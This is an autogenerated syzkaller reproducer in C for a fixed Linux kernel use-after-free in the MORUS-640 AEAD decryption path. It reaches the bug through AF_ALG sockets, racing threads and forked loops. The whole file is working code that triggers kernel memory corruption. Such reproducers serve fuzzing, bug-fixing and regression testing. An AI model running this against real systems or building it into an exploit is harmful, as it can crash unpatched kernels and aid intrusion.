syzkaller-repros/linux/31ff36b2c31145d03c7469e4a54c1cf32682864e.c

// KASAN: use-after-free Read in crypto_morus640_decrypt_chunk
// https://syzkaller.appspot.com/bug?id=31ff36b2c31145d03c7469e4a54c1cf32682864e
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

static void execute_one();
extern unsigned long long procid;

void loop()
{
  while (1) {
    execute_one();
  }
}

struct thread_t {
  int created, running, call;
  pthread_t th;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
      syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
    syscall(SYS_futex, &th->running, FUTEX_WAKE);
  }
  return 0;
}

static void execute(int num_calls)
{
  int call, thread;
  running = 0;
  for (call = 0; call < num_calls; call++) {
    for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        pthread_create(&th->th, &attr, thr, th);
      }
      if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
        th->call = call;
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
        struct timespec ts;
        ts.tv_sec = 0;
        ts.tv_nsec = 20 * 1000 * 1000;
        syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
        if (running)
          usleep((call == num_calls - 1) ? 10000 : 1000);
        break;
      }
    }
  }
}

uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
unsigned long long procid;
void execute_call(int call)
{
  long res;
  switch (call) {
  case 0:
    syscall(__NR_socket, 0xa, 6, 0);
    break;
  case 1:
    res = syscall(__NR_socket, 0x26, 5, 0);
    if (res != -1)
      r[0] = res;
    break;
  case 2:
    *(uint16_t*)0x20000000 = 0x26;
    memcpy((void*)0x20000002,
           "\x61\x65\x61\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 14);
    *(uint32_t*)0x20000010 = 0;
    *(uint32_t*)0x20000014 = 0;
    memcpy((void*)0x20000018,
           "\x6d\x6f\x72\x75\x73\x36\x34\x30\x2d\x67\x65\x6e\x65\x72\x69\x63"
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
           64);
    syscall(__NR_bind, r[0], 0x20000000, 0x58);
    break;
  case 3:
    memcpy((void*)0x20000080,
           "\xb7\xf2\x28\x8a\x91\x19\x93\xf0\x26\x5d\xf5\xcf\x1c\xdd\x8b\x55",
           16);
    syscall(__NR_setsockopt, r[0], 0x117, 1, 0x20000080, 0x10);
    break;
  case 4:
    res = syscall(__NR_accept, r[0], 0, 0);
    if (res != -1)
      r[1] = res;
    break;
  case 5:
    syscall(__NR_write, r[1], 0x20000300, 0xffffffaa);
    break;
  case 6:
    *(uint64_t*)0x20002840 = 0x200000c0;
    *(uint32_t*)0x20002848 = 0x80;
    *(uint64_t*)0x20002850 = 0x20002700;
    *(uint64_t*)0x20002700 = 0x20001380;
    *(uint64_t*)0x20002708 = 5;
    *(uint64_t*)0x20002710 = 0x20002600;
    *(uint64_t*)0x20002718 = 0x7fffeffb;
    *(uint64_t*)0x20002858 = 2;
    *(uint64_t*)0x20002860 = 0x20002780;
    *(uint64_t*)0x20002868 = 0xae;
    *(uint32_t*)0x20002870 = 0;
    syscall(__NR_recvmsg, r[1], 0x20002840, 0);
    break;
  case 7:
    syscall(__NR_mmap, 0x20000000, 0xe7e000, 3, 0x31, -1, 0);
    break;
  }
}

void execute_one()
{
  execute(8);
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  for (procid = 0; procid < 8; procid++) {
    if (fork() == 0) {
      for (;;) {
        loop();
      }
    }
  }
  sleep(1000000);
  return 0;
}